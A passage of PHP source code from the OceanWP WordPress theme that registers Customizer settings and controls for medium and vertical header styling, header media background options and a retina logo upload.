$wp_customize->add_setting( 'ocean_medium_header_menu_items_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_medium_header_menu_items_padding', array( 'label' => esc_html__( 'Menu Items Padding (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => array( 'desktop_right' => 'ocean_medium_header_menu_items_right_padding', 'desktop_left' => 'ocean_medium_header_menu_items_left_padding', 'tablet_right' => 'ocean_medium_header_menu_items_tablet_right_padding', 'tablet_left' => 'ocean_medium_header_menu_items_tablet_left_padding', 'mobile_right' => 'ocean_medium_header_menu_items_mobile_right_padding', 'mobile_left' => 'ocean_medium_header_menu_items_mobile_left_padding', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', 'input_attrs' => array( 'min' => 0, 'max' => 60, 'step' => 1, ), ) ) ); /** * Medium Header Menu Background Color */ $wp_customize->add_setting( 'ocean_medium_header_menu_bg', array( 'transport' => 'postMessage', 'default' => '#f9f9f9', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_medium_header_menu_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_menu_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Search Form Heading */ $wp_customize->add_setting( 'ocean_medium_header_searchform_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_medium_header_searchform_heading', array( 'label' => esc_html__( 'Search Form', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Input Background Color */ $wp_customize->add_setting( 'ocean_medium_header_search_bg', array( 'transport' => 'postMessage', 'default' => '#f5f5f5', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_medium_header_search_bg', array( 'label' => esc_html__( 'Input Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_search_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Input Color */ $wp_customize->add_setting( 'ocean_medium_header_search_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_medium_header_search_color', array( 'label' => esc_html__( 'Input Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_search_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Placeholder Color */ $wp_customize->add_setting( 'ocean_medium_header_search_placeholder_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_medium_header_search_placeholder_color', array( 'label' => esc_html__( 'Placeholder Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_search_placeholder_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Button Color */ $wp_customize->add_setting( 'ocean_medium_header_search_button_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_medium_header_search_button_color', array( 'label' => esc_html__( 'Button Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_search_button_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Button Hover Color */ $wp_customize->add_setting( 'ocean_medium_header_search_button_hover_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_medium_header_search_button_hover_color', array( 'label' => esc_html__( 'Button Hover Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_search_button_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Heading Vertical Header */ $wp_customize->add_setting( 'ocean_vertical_header_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_vertical_header_heading', array( 'label' => esc_html__( 'Vertical Header Settings', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Template */ $wp_customize->add_setting( 'ocean_vertical_header_template', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_template', array( 'label' => esc_html__( 'Select Template', 'oceanwp' ), 'description' => esc_html__( 'Choose a template created in Theme Panel > My Library to replace the header content.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_template', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', 'choices' => oceanwp_customizer_helpers( 'library' ), ) ) ); /** * Vertical Header Bottom Template */ $wp_customize->add_setting( 'ocean_vertical_header_bottom_template', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_bottom_template', array( 'label' => esc_html__( 'Select Bottom Template', 'oceanwp' ), 'description' => esc_html__( 'Choose a template created in Theme Panel > My Library to add at the header bottom.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_bottom_template', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', 'choices' => oceanwp_customizer_helpers( 'library' ), ) ) ); /** * Vertical Header Add Transparent */ $wp_customize->add_setting( 'ocean_vertical_header_transparent', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_transparent', array( 'label' => esc_html__( 'Add Transparent Header', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_transparent', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Shadow */ $wp_customize->add_setting( 'ocean_vertical_header_shadow', array( 'transport' => 'postMessage', 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_shadow', array( 'label' => esc_html__( 'Add Header Shadow', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_shadow', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Closed */ $wp_customize->add_setting( 'ocean_vertical_header_closed', array( 'transport' => 'postMessage', 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_closed', array( 'label' => esc_html__( 'Closed Header', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_closed', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Hamburger Button Color */ $wp_customize->add_setting( 'ocean_vertical_header_hamburger_color', array( 'default' => '#000000', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_hamburger_color', array( 'label' => esc_html__( 'Custom Hamburger Button Color', 'oceanwp' ), 'description' => esc_html__( 'Used for the hamburger menu to open the header in small screens and if closed header.', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_hamburger_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Collapse Width */ $wp_customize->add_setting( 'ocean_vertical_header_collapse_width', array( 'transport' => 'postMessage', 'default' => '1280', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_collapse_width', array( 'label' => esc_html__( 'Collapse Width (px)', 'oceanwp' ), 'description' => esc_html__( 'This field is to control the width where you want to collapse the header.', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_collapse_width', 'priority' => 10, 'input_attrs' => array( 'min' => 959, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Width */ $wp_customize->add_setting( 'ocean_vertical_header_width', array( 'transport' => 'postMessage', 'default' => '300', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_width', array( 'label' => esc_html__( 'Width (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Inner Padding */ $wp_customize->add_setting( 'ocean_vertical_header_inner_top_padding', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_right_padding', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_bottom_padding', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_left_padding', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_vertical_header_inner_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_vertical_header_inner_padding', array( 'label' => esc_html__( 'Inner Padding (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => array( 'desktop_top' => 'ocean_vertical_header_inner_top_padding', 'desktop_right' => 'ocean_vertical_header_inner_right_padding', 'desktop_bottom' => 'ocean_vertical_header_inner_bottom_padding', 'desktop_left' => 'ocean_vertical_header_inner_left_padding', 'tablet_top' => 'ocean_vertical_header_inner_tablet_top_padding', 'tablet_right' => 'ocean_vertical_header_inner_tablet_right_padding', 'tablet_bottom' => 'ocean_vertical_header_inner_tablet_bottom_padding', 'tablet_left' => 'ocean_vertical_header_inner_tablet_left_padding', 'mobile_top' => 'ocean_vertical_header_inner_mobile_top_padding', 'mobile_right' => 'ocean_vertical_header_inner_mobile_right_padding', 'mobile_bottom' => 'ocean_vertical_header_inner_mobile_bottom_padding', 'mobile_left' => 'ocean_vertical_header_inner_mobile_left_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Position */ $wp_customize->add_setting( 'ocean_vertical_header_position', array( 'transport' => 'postMessage', 'default' => 'left-header', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_vertical_header_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_position', 'priority' => 10, 'choices' => array( 'left-header' => esc_html__( 'Left', 'oceanwp' ), 'right-header' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Logo Position */ $wp_customize->add_setting( 'ocean_vertical_header_logo_position', array( 'transport' => 'postMessage', 'default' => 'center-logo', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_vertical_header_logo_position', array( 'label' => esc_html__( 'Logo Position', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_logo_position', 'priority' => 10, 'choices' => array( 'left-logo' => esc_html__( 'Left', 'oceanwp' ), 'center-logo' => esc_html__( 'Center', 'oceanwp' ), 'right-logo' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Menu Items Padding */ $wp_customize->add_setting( 'ocean_vertical_header_menu_items_padding', array( 'transport' => 'postMessage', 'default' => '17', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_vertical_header_menu_items_padding', array( 'label' => esc_html__( 'Menu Items Top/Bottom Padding (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_menu_items_padding', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Menu Dropdown Target */ $wp_customize->add_setting( 'ocean_vertical_header_dropdown_target', array( 'default' => 'link', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_vertical_header_dropdown_target', array( 'label' => esc_html__( 'Dropdown Target', 'oceanwp' ), 'description' => esc_html__( 'Choose your opening target for your submenus', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_dropdown_target', 'priority' => 10, 'choices' => array( 'icon' => esc_html__( 'Icon', 'oceanwp' ), 'link' => esc_html__( 'Link', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Menu Items Border Color */ $wp_customize->add_setting( 'ocean_vertical_header_menu_items_border_color', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.05)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_menu_items_border_color', array( 'label' => esc_html__( 'Menu Items Border Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_menu_items_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Sub Menu Background Color */ $wp_customize->add_setting( 'ocean_vertical_header_sub_menu_bg', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.03)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_sub_menu_bg', array( 'label' => esc_html__( 'Sub Menu Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_sub_menu_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Sub Menu Links Color */ $wp_customize->add_setting( 'ocean_vertical_header_sub_menu_links_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_sub_menu_links_color', array( 'label' => esc_html__( 'Sub Menu Links Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_sub_menu_links_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Sub Menu Links Hover Color */ $wp_customize->add_setting( 'ocean_vertical_header_sub_menu_links_hover_color', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_sub_menu_links_hover_color', array( 'label' => esc_html__( 'Sub Menu Links Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_sub_menu_links_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Sub Menu Links Background Color */ $wp_customize->add_setting( 'ocean_vertical_header_sub_menu_links_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_sub_menu_links_bg', array( 'label' => esc_html__( 'Sub Menu Links Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_sub_menu_links_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Sub Menu Links Hover Background Color */ $wp_customize->add_setting( 'ocean_vertical_header_sub_menu_links_hover_bg', array( 'transport' => 'postMessage', 'default' => '#f8f8f8', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_sub_menu_links_hover_bg', array( 'label' => esc_html__( 'Sub Menu Links Background Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_sub_menu_links_hover_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Heading Vertical Header Search Form */ $wp_customize->add_setting( 'ocean_vertical_header_search_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_vertical_header_search_heading', array( 'label' => esc_html__( 'Search Form', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Form */ $wp_customize->add_setting( 'ocean_vertical_header_search_form', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_search_form', array( 'label' => esc_html__( 'Display Search Form', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_form', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Border Width */ $wp_customize->add_setting( 'ocean_vertical_header_search_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_search_border_width', array( 'label' => esc_html__( 'Border Width', 'oceanwp' ), 'description' => esc_html__( 'Add a custom border radius. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_border_width', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Border Radius */ $wp_customize->add_setting( 'ocean_vertical_header_search_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_vertical_header_search_border_radius', array( 'label' => esc_html__( 'Border Radius', 'oceanwp' ), 'description' => esc_html__( 'Add a custom border radius. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_border_radius', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Background Color */ $wp_customize->add_setting( 'ocean_vertical_header_search_bg', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.03)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_search_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Label Color */ $wp_customize->add_setting( 'ocean_vertical_header_search_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_search_color', array( 'label' => esc_html__( 'Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Border Color */ $wp_customize->add_setting( 'ocean_vertical_header_search_border_color', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.04)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_search_border_color', array( 'label' => esc_html__( 'Border Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Hover Border Color */ $wp_customize->add_setting( 'ocean_vertical_header_search_hover_border_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_search_hover_border_color', array( 'label' => esc_html__( 'Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_hover_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Focus Border Color */ $wp_customize->add_setting( 'ocean_vertical_header_search_focus_border_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_search_focus_border_color', array( 'label' => esc_html__( 'Border Color: Focus', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_focus_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Button Color */ $wp_customize->add_setting( 'ocean_vertical_header_search_btn_color', array( 'transport' => 'postMessage', 'default' => '#777777', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_search_btn_color', array( 'label' => esc_html__( 'Button Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_btn_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Vertical Header Search Button Color */ $wp_customize->add_setting( 'ocean_vertical_header_search_btn_hover_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_vertical_header_search_btn_hover_color', array( 'label' => esc_html__( 'Button Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_vertical_header_search_btn_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_vertical_header_style', ) ) ); /** * Section where header images options are automatically added */ $wp_customize->add_section( 'header_image', array( 'title' => esc_html__( 'Header Media', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Overlay Color */ $wp_customize->add_setting( 'ocean_header_image_overlay_color', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.3)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_header_image_overlay_color', array( 'label' => esc_html__( 'Overlay Color', 'oceanwp' ), 'section' => 'header_image', 'settings' => 'ocean_header_image_overlay_color', 'priority' => 10, ) ) ); /** * Site Background Image Position */ $wp_customize->add_setting( 'ocean_header_image_position', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_header_image_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'type' => 'select', 'section' => 'header_image', 'settings' => 'ocean_header_image_position', 'priority' => 10, 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'top left' => esc_html__( 'Top Left', 'oceanwp' ), 'top center' => esc_html__( 'Top Center', 'oceanwp' ), 'top right' => esc_html__( 'Top Right', 'oceanwp' ), 'center left' => esc_html__( 'Center Left', 'oceanwp' ), 'center center' => esc_html__( 'Center Center', 'oceanwp' ), 'center right' => esc_html__( 'Center Right', 'oceanwp' ), 'bottom left' => esc_html__( 'Bottom Left', 'oceanwp' ), 'bottom center' => esc_html__( 'Bottom Center', 'oceanwp' ), 'bottom right' => esc_html__( 'Bottom Right', 'oceanwp' ), ), ) ) ); /** * Site Background Image Attachment */ $wp_customize->add_setting( 'ocean_header_image_attachment', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_header_image_attachment', array( 'label' => esc_html__( 'Attachment', 'oceanwp' ), 'type' => 'select', 'section' => 'header_image', 'settings' => 'ocean_header_image_attachment', 'priority' => 10, 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'scroll' => esc_html__( 'Scroll', 'oceanwp' ), 'fixed' => esc_html__( 'Fixed', 'oceanwp' ), ), ) ) ); /** * Site Background Image Repeat */ $wp_customize->add_setting( 'ocean_header_image_repeat', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_header_image_repeat', array( 'label' => esc_html__( 'Repeat', 'oceanwp' ), 'type' => 'select', 'section' => 'header_image', 'settings' => 'ocean_header_image_repeat', 'priority' => 10, 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'no-repeat' => esc_html__( 'No-repeat', 'oceanwp' ), 'repeat' => esc_html__( 'Repeat', 'oceanwp' ), 'repeat-x' => esc_html__( 'Repeat-x', 'oceanwp' ), 'repeat-y' => esc_html__( 'Repeat-y', 'oceanwp' ), ), ) ) ); /** * Site Background Image Size */ $wp_customize->add_setting( 'ocean_header_image_size', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_header_image_size', array( 'label' => esc_html__( 'Size', 'oceanwp' ), 'type' => 'select', 'section' => 'header_image', 'settings' => 'ocean_header_image_size', 'priority' => 10, 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'auto' => esc_html__( 'Auto', 'oceanwp' ), 'cover' => esc_html__( 'Cover', 'oceanwp' ), 'contain' => esc_html__( 'Contain', 'oceanwp' ), ), ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_header_logo' , array( 'title' => esc_html__( 'Logo', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Header Retina Logo */ $wp_customize->add_setting( 'ocean_retina_logo', array( 'default' => '', 'sanitize_callback' => 'oceanwp_sanitize_image', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'ocean_retina_logo', array( 'label' => esc_html__( 'Retina Logo', 'oceanwp' ), 'description' => esc_html__( 'Select a retina logo twice the normal logo size.', 'oceanwp' ), 'section' => 'ocean_header_logo', 'settings' => 'ocean_retina_logo', 'priority' => 10, ) ) ); /** * Header Logo Max Width */ $wp_customize->add_setting( 'ocean_logo_max_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 